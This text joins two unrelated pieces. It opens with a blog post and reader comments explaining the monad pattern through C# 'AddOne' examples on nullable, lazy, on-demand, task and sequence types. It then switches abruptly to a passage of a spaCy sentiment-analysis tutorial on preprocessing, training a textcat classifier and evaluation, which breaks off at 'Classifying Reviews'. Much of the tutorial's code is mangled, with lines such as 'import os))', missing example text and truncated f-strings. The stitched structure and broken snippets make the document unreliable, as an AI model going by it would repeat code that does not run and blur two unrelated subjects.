OK, with that out of the way, let’s dig in. The first thing to notice about the nullable, lazy, on-demand, asynchronous and sequence types is that they are all things that produce a value, more or less. The nullable type might not produce a value, and the sequence type might produce any number of values, but the values are always values of the underlying type. All these types are in some sense a “wrapper” around some number of values of the underlying type. And in fact, we can go farther than that. If you have a particular value of the underlying type, you can always easily make a wrapper type that produces that value:
static Nullable<T> CreateSimpleNullable<T>(T item) { return new Nullable<T>(item); } static OnDemand<T> CreateSimpleOnDemand<T>(T item) { return ()=>item; } static IEnumerable<T> CreateSimpleSequence<T>(T item) { yield return item; }
The
Lazy<T> and
Task<T> simple-value wrapper methods are left as an exercise.
And in fact this is the first requirement of the monad pattern: if
M<T> is a monadic type then there’s got to be an easy way to turn any value of type
T into a value of type
M<T>.
Now, you might think that of course the second requirement is “and you’ve got to be able to get the values back out again too”. As we’ll see, that’s close but not quite right. The second requirement is more subtle than that, so we’re going to approach it cautiously. We’ll start with a very specific question: you can add one to an integer, but how do you “add one” to a monadic wrapper around an integer?
As we just spent eight entire episodes discussing, the compiler already knows how to do so to a nullable int. This is already “baked in” to the language; you just add one and the compiler takes care of everything for you. But if it didn’t, we do know how to write the code. I’ll write it much less concisely than normal to illustrate each step carefully:
static Nullable<int> AddOne(Nullable<int> nullable) { if (nullable.HasValue) { int unwrapped = nullable.Value; int result = unwrapped + 1; return CreateSimpleNullable(result); } else return new Nullable<int>(); }
OK, that was easy. Notice that the operation of adding one to a nullable integer is of course another nullable integer, because the original one might have been null. But the operation here was very straightforward: if there is a value we unwrap it, then we perform the addition operation on the unwrapped value, and then we wrap the resulting value. Is that the general pattern? Let’s look at another example and see what happens when we follow this pattern:
static OnDemand<int> AddOne(OnDemand<int> onDemand) { int unwrapped = onDemand(); int result = unwrapped + 1; return CreateSimpleOnDemand(result); }
It looks plausible. It compiles. Is it correct? No. If you start with the delegate
()=>DateTime.Now.Seconds
and add one, you do not end up with
()=>DateTime.Now.Seconds + 1
but rather
()=>some fixed value
which seems wrong. The “on-demand-ness” of the left hand side of the addition has disappeared; its value becomes fixed at the moment that the
AddOne method is called, and the resulting wrapped value no longer implements the desired semantics. The correct way to add one to an on-demand integer is to ensure that the new on-demand integer demands the original one itself:
static OnDemand<int> AddOne(OnDemand<int> onDemand) { return ()=> { int unwrapped = onDemand(); int result = unwrapped + 1; return result; }; }
(Again, I’m showing all the steps explicitly; realistically we’d write this code with far more concision.)
This preserves the desired semantics; now the original on-demand value is demanded every time the newly-demanded value is requested.
Now, in the correct code you’ll notice that we did use the “unwrap and do the operation” mechanism. The difference between the nullable int operation and the on-demand int operation lies in how the resulting wrapped type is created. With the nullable monad we can get away with aggressively unwrapping the value, doing the computation, and producing a simple wrapper around the new value. The on-demand monad has to be a lot more clever about how the new wrapper is created; it is not a simple wrapper around a value. Rather, it produces an object whose structure encodes the sequence of operations that are going to happen on demand. (This ability is one of the key feature that makes monads useful; we’ll return to this point later on in the series). In this case, it produces a delegate that invokes the original delegate.
Let’s quickly go through the “add one” operations on our other integer wrapper examples. I’ll continue to be unnecessarily verbose.
static Lazy<int> AddOne(Lazy<int> lazy) { return new Lazy<int>(()=> { int unwrapped = lazy.Value; int result = unwrapped + 1; return result; }); }.
async static Task<int> AddOne(Task<int> task) { int unwrapped = await task; int result = unwrapped + 1; return result; }
Well that was easy! This looks even easier than the nullable example we started with, but that’s because we are taking advantage of the C# 5 compiler’s ability to generate a whole lot of code on your behalf. As an exercise, try writing the
AddOne operation on asynchronously-computed integers in C# 4.
static IEnumerable<int> AddOne(IEnumerable<int> sequence) { foreach(int unwrapped in sequence) { int result = unwrapped + 1; yield return result; } }
Again, we are taking advantage of the C# compiler’s ability to write lots of code on your behalf. It is instructive to write out this code without using
foreach or
yield. And of course this code code be even more concise; this could be written:
return from item in sequence select item + 1;
All right, what have we learned so far?
- The first rule of the monad pattern is that there’s always an easy way to go from a value of the “underlying” type to a value of the “wrapped” type.
- The second rule of the monad pattern is that adding one to a wrapped int somehow produces another wrapped int, and does so in a way that preserves the desired “amplification”.
That second rule looks like it could use some work. Next time on FAIC we’ll start to generalize from our example of adding one to a “wrapped integer” as we continue to refine the second rule of the monad pattern.
Excellent post as always, Eric. I’ve always used Monads in a more intuitive way (i.e. they’re just a common pattern), but never really understood them coming from the functional perspective. Your bottom-up approach is starting to really clear them up for me conceptually and I think I can see where this is going, now.
He’s not going to write a Graph/Sudoku solver again, is he?
Yes. Brilliant. 🙂
The post actually had me thinking: “What awesome new C# 6 feature could he be building up to with this?” Maybe we’ll see a new ‘bind’ keyword announced on April 1. 😛
Unfortunately he no longer works for Microsoft.. 😦
Not working for Microsoft any longer really wouldn’t get in the way of an April 1st announcement, would it?
Great post as always. On a side note, what happened with you FAICasting? Any progress?
I made considerable progress at the end of last year when I had some time off; my last eight castings worked well. But I’ve gotten busy with a new job, and I can’t melt aluminum in the rain. I’ll pick it up again in the spring.
Cool, looking forward to it! Your blog inspired me to start learning about casting myself, it’s something I’ve wanted to try for a while.
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Would it be safe to use decorators as a metaphor for monads, or would that lead to terrible misconceptions further down the line? The fit seems quite good so far!
good metaphor although Monads is more abstract than decorator. It provides you a way to compose any number of functions to any scale.
Looks like debugging these things could be a real pain, not?
Don’t see why – you can set breakpoints in lambas, and all the normal VS debugging tools will work correctly in that context (in my experience anyway).
It depends. On the one hand, debugging asynchronous workflows can be tricky. You don’t have the “call stack” crutch to lean on because it is no longer the case that *where you came from* is logically connected to *where you’re going next*. And it is hard to look at a bunch of tasks and understand how they are all related.
On the other hand, objects that represent workflows can also be easier to debug with a little work up front. LINQ queries are essentially monadic workflows and there are debugging tools to help you, say, see what SQL is going to be spit out the other end.
Having recently done up a multi-threaded XML serializer/deserializer that made very heavy use of monads. Yes it can be a real pain.
For example:
for (i = 0; i { DoStuff(i); };
}
And:
for (i = 0; i { DoStuff(j); };
}
With another thread (or in my case many other threads) calling someDelegate(). You can even stick a break point in the lamda and still not see what’s going on. But the second one produces the expected results, the first is very unpredictable especially if those other threads are not busy and someDelegate is going into a ConcurrentQueue.
Bah it mangled the loop declaration. Just picture a loop with a lot of iterations, the second one with “int j = i” before a lamda declaration.
Although I already kind of understood monads this explanation has sharpened my understanding of them. Even though I learnt no additional formal knowledge I can now make more sense of monads.
I feel the formal way of explaining them is very useful and concise … for people who already understand them! All others get lot in the details and in the formulae.
Sounds a lot like the story presented here:
“concision” What a wonderful word. Great series already! Looking forward to the rest of the journey – I’ve read many articles on the “what are they” of monads but never really got to the “why do I care” level of understanding.
I confess I never had much trouble understanding monads, although I’ve always found the “explanations for OO programmers” to be confusingly verbose (although given the comments on these posts, that makes me an outlier!).
In the past I have always explained monads like this:
Imagine you have a sequence of processing steps you want carried out in order, each step being a function whose output is the input to the next step (i.e., step -> step -> step -> …).
Now imagine you want to extend this idea in two ways:
– you want to add some meta-data (e.g., you want to also count how many steps have taken place);
– at any point you want to be able to skip the rest of the steps (or possibly take different successive steps) depending on the meta-data.
Moreover, you’d like to do this without having to make changes to your “step” functions.
At this point you might come up with the idea of a “glue” function to join your steps together. Now your processing function looks something like this step -> glue -> (step -> glue -> (…)). The “glue” has the job of updating the meta-data (e.g., incrementing the “number of steps” counter) and/or making a decision (e.g., if the number of steps has reached some threshold, skip the remaining steps).
Some glue functions are very simple (e.g., for the Nullable type). Others may be more complex (e.g., for parsing or tree searching or for pure IO or …).
Now, if you call your set-up function (which contains the initial input and meta-data) “return” and your glue function “bind”, then you pretty much have a monad.
Because the “return” and “bind” functions all have the same “shape”, you can construct families of operations over monads which do useful things for ALL monads, all without having to change your original “step” functions.
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Does the pattern indicate whether there should be side effects? (Coming from functional programming, it seems as if it should not). E.g., wrapping a Lazy, given that the monadic pattern as you indicated should encode the *sequence of operations*, it seems as if the operations for initializing the original Lazy shouldn’t initialize the original Lazy, but in fact should be encoded in the new Lazy’s initialization and the original should be unaffected.
The intersection of monads, side effects and functional languages is precisely what motivates their use in those languages: monads are used in purely-functional languages to encode the notion of “these side effects must occur in this order”, even though such languages discourage side effects and often do out-of-order evaluation.
(Disclaimer: I’m not familiar with C#, I am familiar with Haskell, and I am unfamiliar with and eschew Category theory.)
It appears to me that all of the AddOne examples are actually demonstrating a Functor instance for each type, not a Monad instance.
The property is described as: “we unwrap it, then we perform the addition operation on the unwrapped value, and then we wrap the resulting value.”
If we replace “addition operation” with “an operation”, then whether or not we are describing a Functor or Monad depends on whether that operation knows about the wrapper or not.
In the case of adding one (where we think of the + operator as a two argument function), it’s arguments and return do not involve the wrapping type, so this is a Functor property.
If the operation *returns the wrapping type* then it is a Monad.
I hope this clarification helps. IMO, it’s helpful to introduce Functors first (and all of these examples actually do so!), and then proceed to Monads. (There is also a common middle step called Applicative.)
That is precisely what I am attempting to do — introduce functors and then procede to monads — but I am attempting to avoid saying “functor” any more than necessary because I’m trying to keep this friendly to developers who don’t have a background in functional programming, algebra, etc. Thanks for the note!
I’m doing some code testing and I noticed the method
async static Task AddOne(Task task)
{
int unwrapped = await task;
int result = unwrapped + 1;
return result;
}
will actually work only if the task parameter is started, otherwise it should be started before the await line, right?
Good point; the question of whether tasks are “hot” — started as soon as they are created — or “cold” — started explicitly — was a long debate when we were designing async/await. I’m glossing over those kinds of details in this series.
I’m sure I must be doing something stupid, but I can’t figure out what. The “CreateSimpleNullable” function refuses to compile for me, on both VS2010 and VS2012. The section “return new Nullable(item);” gives an error on the which reads “The type ‘T’ must be a non-nullable value type in order to use it as parameter ‘T’ in the generic type or method ‘System.Nullable’
Gaah. Didn’t realise the comments would strip of angle brackets and any contents. The two incorrect bits should read:
return new Nullable<T>(item)
gives an error on the <T> which reads
Nullable (of T) has a constraint on T that says that it must be a “struct” (i.e. a value type). Somewhere in the introduction to all this, Eric pointed out that he was going to ignore that constraint in his discussions. If you want to get things to compile, you will need to constrain T properly.
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Sentiment the sentiment of a piece of writing.
Why would you want to do that? There are a lot of uses for sentiment analysis, such as understanding how stock traders feel about a particular company by using social media data or aggregating reviews, which you’ll get to do by the end of this tutorial.
In this tutorial, you’ll learn:
- How to use natural language processing (NLP) techniques
- How to use machine learning to determine the sentiment of text
- How to use spaCy to build an NLP pipeline that feeds into a sentiment analysis classifier
This tutorial is ideal for beginning machine learning practitioners who want a project-focused guide to building sentiment analysis pipelines with spaCy.
You should be familiar with basic machine learning techniques like binary classification as well as the concepts behind them, such as training loops, data batches, and weights and biases. If you’re unfamiliar with machine learning, then you can kickstart your journey by learning about logistic regression.
When you’re ready, you can follow along with the examples in this tutorial by downloading the source code from the link below:
Get the Source Code: Click here to get the source code you’ll use to learn about sentiment analysis with natural language processing in this tutorial.
Using Natural Language Processing to Preprocess and Clean Text Data
Any sentiment analysis workflow begins with loading data. But what do you do once the data’s been loaded? You need to process it through a natural language processing pipeline before you can do anything interesting with it.
The necessary steps include (but aren’t limited to) the following:
- Tokenizing sentences to break text down into sentences, words, or other units
- Removing stop words like “if,” “but,” “or,” and so on
- Normalizing words by condensing all forms of a word into a single form
- Vectorizing text by turning the text into a numerical representation for consumption by your classifier
All these steps serve to reduce the noise inherent in any human-readable text and improve the accuracy of your classifier’s results. There are lots of great tools to help with this, such as the Natural Language Toolkit, TextBlob, and spaCy. For this tutorial, you’ll use spaCy.
Note: spaCy is a very powerful tool with many features. For a deep dive into many of these features, check out Natural Language Processing With spaCy.
Before you go further, make sure you have spaCy and its English model installed:
$ pip install spacy $ python -m spacy download en_core_web_sm
The first command installs spaCy, and the second uses spaCy to download its English language model. spaCy supports a number of different languages, which are listed on the spaCy website.
Next, you’ll learn how to use spaCy to help with the preprocessing steps you learned about earlier, starting with tokenization.
Tokenizing
Tokenization is the process of breaking down chunks of text into smaller pieces. spaCy comes with a default processing pipeline that begins with tokenization, making this process a snap. In spaCy, you can do either sentence tokenization or word tokenization:
- Word tokenization breaks text down into individual words.
- Sentence tokenization breaks text down into individual sentences.
In this tutorial, you’ll use word tokenization to separate the text into individual words. First, you’ll load the text into spaCy, which does the work of tokenization for you:
>>> import spacy >>>>> nlp = spacy.load("en_core_web_sm") >>> doc = nlp(text) >>> token_list = [token for token in doc] >>> token_list [ ,, ., ]
In this code, you set up some example text to tokenize, load spaCy’s English model, and then tokenize the text by passing it into the
nlp constructor. This model includes a default processing pipeline that you can customize, as you’ll see later in the project section.
After that, you generate a list of tokens and print it. As you may have noticed, “word tokenization” is a slightly misleading term, as captured tokens include punctuation and other nonword strings.
Tokens are an important container type in spaCy and have a very rich set of features. In the next section, you’ll learn how to use one of those features to filter out stop words.
Removing Stop Words
Stop words are words that may be important in human communication but are of little value for machines. spaCy comes with a default list of stop words that you can customize. For now, you’ll see how you can use token attributes to remove stop words:
>>> filtered_tokens = [token for token in doc if not token.is_stop] >>> filtered_tokens [ , Dave, watched, forest, burned, hill, ,, , miles, house, ., car, , hastily, packed, Marta, inside, trying, round, , pets, ., ", ?, ", wondered, , continued, wait, Marta, appear, pets, ., ]
In one line of Python code, you filter out stop words from the tokenized text using the
.is_stop token attribute.
What differences do you notice between this output and the output you got after tokenizing the text? With the stop words removed, the token list is much shorter, and there’s less context to help you understand the tokens.
Normalizing Words
Normalization is a little more complex than tokenization. It entails condensing all forms of a word into a single representation of that word. For instance, “watched,” “watching,” and “watches” can all be normalized into “watch.” There are two major normalization methods:
- Stemming
- Lemmatization
With stemming, a word is cut off at its stem, the smallest unit of that word from which you can create the descendant words. You just saw an example of this above with “watch.” Stemming simply truncates the string using common endings, so it will miss the relationship between “feel” and “felt,” for example.
Lemmatization seeks to address this issue. This process uses a data structure that relates all forms of a word back to its simplest form, or lemma. Because lemmatization is generally more powerful than stemming, it’s the only normalization strategy offered by spaCy.
Luckily, you don’t need any additional code to do this. It happens automatically—along with a number of other activities, such as part of speech tagging and named entity recognition—when you call
nlp(). You can inspect the lemma for each token by taking advantage of the
.lemma_ attribute:
>>> lemmas = [ ... f"Token: {token}, lemma: {token.lemma_}" ... for token in filtered_tokens ... ] >>> lemmas ['Token: \n, lemma: \n', 'Token: Dave, lemma: Dave', 'Token: watched, lemma: watch', 'Token: forest, lemma: forest', # ... ]
All you did here was generate a readable list of tokens and lemmas by iterating through the filtered list of tokens, taking advantage of the
.lemma_ attribute to inspect the lemmas. This example shows only the first few tokens and lemmas. Your output will be much longer.
Note: Notice the underscore on the
.lemma_ attribute. That’s not a typo. It’s a convention in spaCy that gets the human-readable version of the attribute.
The next step is to represent each token in way that a machine can understand. This is called vectorization.
Vectorizing Text
Vectorization is a process that transforms a token into a vector, or a numeric array that, in the context of NLP, is unique to and represents various features of a token. Vectors are used under the hood to find word similarities, classify text, and perform other NLP operations.
This particular representation is a dense array, one in which there are defined values for every space in the array. This is in opposition to earlier methods that used sparse arrays, in which most spaces are empty.
Like the other steps, vectorization is taken care of automatically with the
nlp() call. Since you already have a list of token objects, you can get the vector representation of one of the tokens like so:
>>> filtered_tokens[1].vector array([ 1.8371646 , 1.4529226 , -1.6147211 , 0.678362 , -0.6594443 , 1.6417935 , 0.5796405 , 2.3021278 , -0.13260496, 0.5750932 , 1.5654886 , -0.6938864 , -0.59607106, -1.5377437 , 1.9425622 , -2.4552505 , 1.2321601 , 1.0434952 , -1.5102385 , -0.5787632 , 0.12055647, 3.6501784 , 2.6160972 , -0.5710199 , -1.5221789 , 0.00629176, 0.22760668, -1.922073 , -1.6252862 , -4.226225 , -3.495663 , -3.312053 , 0.81387717, -0.00677544, -0.11603224, 1.4620426 , 3.0751472 , 0.35958546, -0.22527039, -2.743926 , 1.269633 , 4.606786 , 0.34034157, -2.1272311 , 1.2619178 , -4.209798 , 5.452852 , 1.6940253 , -2.5972986 , 0.95049495, -1.910578 , -2.374927 , -1.4227567 , -2.2528825 , -1.799806 , 1.607501 , 2.9914255 , 2.8065152 , -1.2510269 , -0.54964066, -0.49980402, -1.3882618 , -0.470479 , -2.9670253 , 1.7884955 , 4.5282774 , -1.2602427 , -0.14885521, 1.0419178 , -0.08892632, -1.138275 , 2.242618 , 1.5077229 , -1.5030195 , 2.528098 , -1.6761329 , 0.16694719, 2.123961 , 0.02546412, 0.38754445, 0.8911977 , -0.07678384, -2.0690763 , -1.1211847 , 1.4821006 , 1.1989193 , 2.1933236 , 0.5296372 , 3.0646474 , -1.7223308 , -1.3634219 , -0.47471118, -1.7648507 , 3.565178 , -2.394205 , -1.3800384 ], dtype=float32)
Here you use the
.vector attribute on the second token in the
filtered_tokens list, which in this set of examples is the word
Dave.
Note: If you get different results for the
.vector attribute, don’t worry. This could be because you’re using a different version of the
en_core_web_sm model or, potentially, of spaCy itself.
Now that you’ve learned about some of the typical text preprocessing steps in spaCy, you’ll learn how to classify text.
Using Machine Learning Classifiers to Predict Sentiment
Your text is now processed into a form understandable by your computer, so you can start to work on classifying it according to its sentiment. You’ll cover three topics that will give you a general understanding of machine learning classification of text data:
- What machine learning tools are available and how they’re used
- How classification works
- How to use spaCy for text classification
First, you’ll learn about some of the available tools for doing machine learning classification.
Machine Learning Tools
There are a number of tools available in Python for solving classification problems. Here are some of the more popular ones:
This list isn’t all-inclusive, but these are the more widely used machine learning frameworks available in Python. They’re large, powerful frameworks that take a lot of time to truly master and understand.
TensorFlow is developed by Google and is one of the most popular machine learning frameworks. You use it primarily to implement your own machine learning algorithms as opposed to using existing algorithms. It’s fairly low-level, which gives the user a lot of power, but it comes with a steep learning curve.
PyTorch is Facebook’s answer to TensorFlow and accomplishes many of the same goals. However, it’s built to be more familiar to Python programmers and has become a very popular framework in its own right. Because they have similar use cases, comparing TensorFlow and PyTorch is a useful exercise if you’re considering learning a framework.
scikit-learn stands in contrast to TensorFlow and PyTorch. It’s higher-level and allows you to use off-the-shelf machine learning algorithms rather than building your own. What it lacks in customizability, it more than makes up for in ease of use, allowing you to quickly train classifiers in just a few lines of code.
Luckily, spaCy provides a fairly straightforward built-in text classifier that you’ll learn about a little later. First, however, it’s important to understand the general workflow for any sort of classification problem.
How Classification Works
Don’t worry—for this section you won’t go deep into linear algebra, vector spaces, or other esoteric concepts that power machine learning in general. Instead, you’ll get a practical introduction to the workflow and constraints common to classification problems.
Once you have your vectorized data, a basic workflow for classification looks like this:
- Split your data into training and evaluation sets.
- Select a model architecture.
- Use training data to train your model.
- Use test data to evaluate the performance of your model.
- Use your trained model on new data to generate predictions, which in this case will be a number between -1.0 and 1.0.
This list isn’t exhaustive, and there are a number of additional steps and variations that can be done in an attempt to improve accuracy. For example, machine learning practitioners often split their datasets into three sets:
- Training
- Validation
- Test
The training set, as the name implies, is used to train your model. The validation set is used to help tune the hyperparameters of your model, which can lead to better performance.
Note: Hyperparameters control the training process and structure of your model and can include things like learning rate and batch size. However, which hyperparameters are available depends very much on the model you choose to use.
The test set is a dataset that incorporates a wide variety of data to accurately judge the performance of the model. Test sets are often used to compare multiple models, including the same models at different stages of training.
Now that you’ve learned the general flow of classification, it’s time to put it into action with spaCy.
How to Use spaCy for Text Classification
You’ve already learned how spaCy does much of the text preprocessing work for you with the
nlp() constructor. This is really helpful since training a classification model requires many examples to be useful.
Additionally, spaCy provides a pipeline functionality that powers much of the magic that happens under the hood when you call
nlp(). The default pipeline is defined in a JSON file associated with whichever preexisting model you’re using (
en_core_web_sm for this tutorial), but you can also build one from scratch if you wish.
Note: To learn more about creating your own language processing pipelines, check out the spaCy pipeline documentation.
What does this have to do with classification? One of the built-in pipeline components that spaCy provides is called
textcat (short for
TextCategorizer), which enables you to assign categories (or labels) to your text data and use that as training data for a neural network.
This process will generate a trained model that you can then use to predict the sentiment of a given piece of text. To take advantage of this tool, you’ll need to do the following steps:
- Add the
textcatcomponent to the existing pipeline.
- Add valid labels to the
textcatcomponent.
- Load, shuffle, and split your data.
- Train the model, evaluating on each training loop.
- Use the trained model to predict the sentiment of non-training data.
- Optionally, save the trained model.
Note: You can see an implementation of these steps in the spaCy documentation examples. This is the main way to classify text in spaCy, so you’ll notice that the project code draws heavily from this example.
In the next section, you’ll learn how to put all these pieces together by building your own project: a movie review sentiment analyzer.
Building Your Own NLP Sentiment Analyzer
From the previous sections, you’ve probably noticed four major stages of building a sentiment analysis pipeline:
- Preprocessing
- Training the classifier
- Classifying data
For building a real-life sentiment analyzer, you’ll work through each of the steps that compose these stages. You’ll use the Large Movie Review Dataset compiled by Andrew Maas to train and test your sentiment analyzer. Once you’re ready, proceed to the next section to load your data.
If you haven’t already, download and extract the Large Movie Review Dataset. Spend a few minutes poking around, taking a look at its structure, and sampling some of the data. This will inform how you load the data. For this part, you’ll use spaCy’s
textcat example as a rough guide.
You can (and should) decompose the loading stage into concrete steps to help plan your coding. Here’s an example:
- Load text and labels from the file and directory structures.
- Shuffle the data.
- Split the data into training and test sets.
- Return the two sets of data.
This process is relatively self-contained, so it should be its own function at least. In thinking about the actions that this function would perform, you may have thought of some possible parameters.
Since you’re splitting data, the ability to control the size of those splits may be useful, so
split is a good parameter to include. You may also wish to limit the total amount of documents you process with a
limit parameter. You can open your favorite editor and add this function signature:
def load_training_data( data_directory: str = "aclImdb/train", split: float = 0.8, limit: int = 0 ) -> tuple:
With this signature, you take advantage of Python 3’s type annotations to make it absolutely clear which types your function expects and what it will return.
The parameters here allow you to define the directory in which your data is stored as well as the ratio of training data to test data. A good ratio to start with is 80 percent of the data for training data and 20 percent for test data. All of this and the following code, unless otherwise specified, should live in the same file.
Next, you’ll want to iterate through all the files in this dataset and load them into a list:
import os))
While this may seem complicated, what you’re doing is constructing the directory structure of the data, looking for and opening text files, then appending a tuple of the contents and a label dictionary to the
reviews list.
The label dictionary structure is a format required by the spaCy model during the training loop, which you’ll see soon.
Note: Throughout this tutorial and throughout your Python journey, you’ll be reading and writing files. This is a foundational skill to master, so make sure to review it while you work through this tutorial.
Since you have each review open at this point, it’s a good idea to replace the
<br /> HTML tags in the texts with newlines and to use
.strip() to remove all leading and trailing whitespace.
For this project, you won’t remove stop words from your training data right away because it could change the meaning of a sentence or phrase, which could reduce the predictive power of your classifier. This is dependent somewhat on the stop word list that you use.
After loading the files, you want to shuffle them. This works to eliminate any possible bias from the order in which training data is loaded. Since the
random module makes this easy to do in one line, you’ll also see how to split your shuffled data:
import os import random)) random.shuffle(reviews) if limit: reviews = reviews[:limit] split = int(len(reviews) * split) return reviews[:split], reviews[split:]
Here, you shuffle your data with a call to
random.shuffle(). Then you optionally truncate and split the data using some math to convert the split to a number of items that define the split boundary. Finally, you return two parts of the
reviews list using list slices.
Here’s a sample output, truncated for brevity:
( 'When tradition dictates that an artist must pass (...)', {'cats': {'pos': True, 'neg': False}} )
To learn more about how
random works, take a look at Generating Random Data in Python (Guide).
Note: The makers of spaCy have also released a package called
thinc that, among other features, includes simplified access to large datasets, including the IMDB review dataset you’re using for this project.
You can find the project on GitHub. If you investigate it, look at how they handle loading the IMDB dataset and see what overlaps exist between their code and your own.
Now that you’ve got your data loader built and have some light preprocessing done, it’s time to build the spaCy pipeline and classifier training loop.
Training Your Classifier
Putting the spaCy pipeline together allows you to rapidly build and train a convolutional neural network (CNN) for classifying text data. While you’re using it here for sentiment analysis, it’s general enough to work with any kind of text classification task as long as you provide it with the training data and labels.
In this part of the project, you’ll take care of three steps:
- Modifying the base spaCy pipeline to include the
textcatcomponent
- Building a training loop to train the
textcatcomponent
- Evaluating the progress of your model training after a given number of training loops
First, you’ll add
textcat to the default spaCy pipeline.
Modifying the spaCy Pipeline to Include
textcat
For the first part, you’ll load the same pipeline as you did in the examples at the beginning of this tutorial, then you’ll add the
textcat component if it isn’t already present. After that, you’ll add the labels that your data uses (
"pos" for positive and
"neg" for negative) to
textcat. Once that’s done, you’ll be ready to build the training loop:)
If you’ve looked at the spaCy documentation’s
textcat example already, then this should look pretty familiar. First, you load the built-in
en_core_web_sm pipeline, then you check the
.pipe_names attribute to see if the
textcat component is already available.
If it isn’t, then you create the component (also called a pipe) with
.create_pipe(), passing in a configuration dictionary. There are a few options that you can work with described in the
TextCategorizer documentation.
Finally, you add the component to the pipeline using
.add_pipe(), with the
last parameter signifying that this component should be added to the end of the pipeline.
Next, you’ll handle the case in which the
textcat component is present and then add the labels that will serve as the categories for your text:")
If the component is present in the loaded pipeline, then you just use
.get_pipe() to assign it to a variable so you can work on it. For this project, all that you’ll be doing with it is adding the labels from your data so that
textcat knows what to look for. You’ll do that with
.add_label().
You’ve created the pipeline and prepared the
textcat component for the labels it will use for training. Now it’s time to write the training loop that will allow
textcat to categorize movie reviews.
Build Your Training Loop to Train
textcat
To begin the training loop, you’ll first set your pipeline to train only the
textcat component, generate batches of data for it with spaCy’s
minibatch() and
compounding() utilities, and then go through them and update your model.
A batch is just a subset of your data. Batching your data allows you to reduce the memory footprint during training and more quickly update your hyperparameters.
Note: Compounding batch sizes is a relatively new technique and should help speed up training. You can learn more about compounding batch sizes in spaCy’s training tips.
Here’s an implementation of the training loop described above:
1import os 2import random 3import spacy 4from spacy.util import minibatch, compounding 5 6def train_model( 7 training_data: list, 8 test_data: list, 9 iterations: int = 20 10) -> None: 11 # Build pipeline 12 nlp = spacy.load("en_core_web_sm") 13 if "textcat" not in nlp.pipe_names: 14 textcat = nlp.create_pipe( 15 "textcat", config={"architecture": "simple_cnn"} 16 ) 17 nlp.add_pipe(textcat, last=True) 18 else: 19 textcat = nlp.get_pipe("textcat") 20 21 textcat.add_label("pos") 22 textcat.add_label("neg") 23 24 # Train only textcat 25 training_excluded_pipes = [ 26 pipe for pipe in nlp.pipe_names if pipe != "textcat" 27 ]
On lines 25 to 27, you create a list of all components in the pipeline that aren’t the
textcat component. You then use the
nlp.disable() context manager to disable those components for all code within the context manager’s scope.
Now you’re ready to add the code to begin training:
Here, you call
nlp.begin_training(), which returns the initial optimizer function. This is what
nlp.update() will use to update the weights of the underlying model.
You then use the
compounding() utility to create a generator, giving you an infinite series of
batch_sizes that will be used later by the
minibatch() utility.
Now you’ll begin training on batches of data: )
Now, for each iteration that is specified in the
train_model() signature, you create an empty dictionary called
loss that will be updated and used by
nlp.update(). You also shuffle the training data and split it into batches of varying size with
minibatch().
For each batch, you separate the text and labels, then fed them, the empty
loss dictionary, and the
optimizer to
nlp.update(). This runs the actual training on each example.
The
dropout parameter tells
nlp.update() what proportion of the training data in that batch to skip over. You do this to make it harder for the model to accidentally just memorize training data without coming up with a generalizable model.
This will take some time, so it’s important to periodically evaluate your model. You’ll do that with the data that you held back from the training set, also known as the holdout set.
Evaluating the Progress of Model Training
Since you’ll be doing a number of evaluations, with many calculations for each one, it makes sense to write a separate
evaluate_model() function. In this function, you’ll run the documents in your test set against the unfinished model to get your model’s predictions and then compare them to the correct labels of that data.
Using that information, you’ll calculate the following values:
True positives are documents that your model correctly predicted as positive. For this project, this maps to the positive sentiment but generalizes in binary classification tasks to the class you’re trying to identify.
False positives are documents that your model incorrectly predicted as positive but were in fact negative.
True negatives are documents that your model correctly predicted as negative.
False negatives are documents that your model incorrectly predicted as negative but were in fact positive.
Because your model will return a score between 0 and 1 for each label, you’ll determine a positive or negative result based on that score. From the four statistics described above, you’ll calculate precision and recall, which are common measures of classification model performance:
Precision is the ratio of true positives to all items your model marked as positive (true and false positives). A precision of 1.0 means that every review that your model marked as positive belongs to the positive class.
Recall is the ratio of true positives to all reviews that are actually positive, or the number of true positives divided by the total number of true positives and false negatives.
The F-score is another popular accuracy measure, especially in the world of NLP. Explaining it could take its own article, but you’ll see the calculation in the code. As with precision and recall, the score ranges from 0 to 1, with 1 signifying the highest performance and 0 the lowest.
For
evaluate_model(), you’ll need to pass in the pipeline’s
tokenizer component, the
textcat component, and your test dataset:
def evaluate_model( tokenizer, textcat, test_data: list ) -> dict: reviews, labels = zip(*test_data) reviews = (tokenizer(review) for review in reviews) true_positives = 0 false_positives = 1e-8 # Can't be 0 because of presence in denominator true_negatives = 0 false_negatives = 1e-8 for i, review in enumerate(textcat.pipe(reviews)): true_label = labels[i] for predicted_label, score in review.cats.items(): # Every cats dictionary includes both labels. You can get all # the info you need with just the pos label. if ( predicted_label == "neg" ): continue if score >= 0.5 and true_label["pos"]: true_positives += 1 elif score >= 0.5 and true_label["neg"]: false_positives += 1 elif score < 0.5 and true_label["neg"]: true_negatives += 1 elif score < 0.5 and true_label["pos"]: false_negatives += 1 precision = true_positives / (true_positives + false_positives) recall = true_positives / (true_positives + false_negatives) if precision + recall == 0: f_score = 0 else: f_score = 2 * (precision * recall) / (precision + recall) return {"precision": precision, "recall": recall, "f-score": f_score}
In this function, you separate reviews and their labels and then use a generator expression to tokenize each of your evaluation reviews, preparing them to be passed in to
textcat. The generator expression is a nice trick recommended in the spaCy documentation that allows you to iterate through your tokenized reviews without keeping every one of them in memory.
You then use the
score and
true_label to determine true or false positives and true or false negatives. You then use those to calculate precision, recall, and f-score. Now all that’s left is to actually call
evaluate_model():
def train_model(training_data: list, test_data: list, iterations: int = 20): # Previously seen code omitted for brevity. # Training loop print("Beginning training") print("Loss\tPrecision\tRecall\tF-score")']}" )
Here you add a print statement to help organize the output from
evaluate_model() and then call it with the
.use_params() context manager in order to use the model in its current state. You then call
evaluate_model() and print the results.
Once the training process is complete, it’s a good idea to save the model you just trained so that you can use it again without training a new model. After your training loop, add this code to save the trained model to a directory called
model_artifacts located within your working directory:
# Save model with nlp.use_params(optimizer.averages): nlp.to_disk("model_artifacts")
This snippet saves your model to a directory called
model_artifacts so that you can make tweaks without retraining the model. Your final training function should look like this:") print("Loss\tPrecision\tRecall\tF-score") batch_sizes = compounding( 4.0, 32.0, 1.001 ) # A generator that yields infinite series of input numbers for i in range(iterations): print(f"Training iteration {i}")']}" ) # Save model with nlp.use_params(optimizer.averages): nlp.to_disk("model_artifacts")
In this section, you learned about training a model and evaluating its performance as you train it. You then built a function that trains a classification model on your input data.
Classifying Reviews
Now that you have a trained model, it’s time to test it against a real review. For the purposes of this project, you’ll hardcode a review, but you should certainly try extending this project by reading reviews from other sources, such as files or a review aggregator’s API.
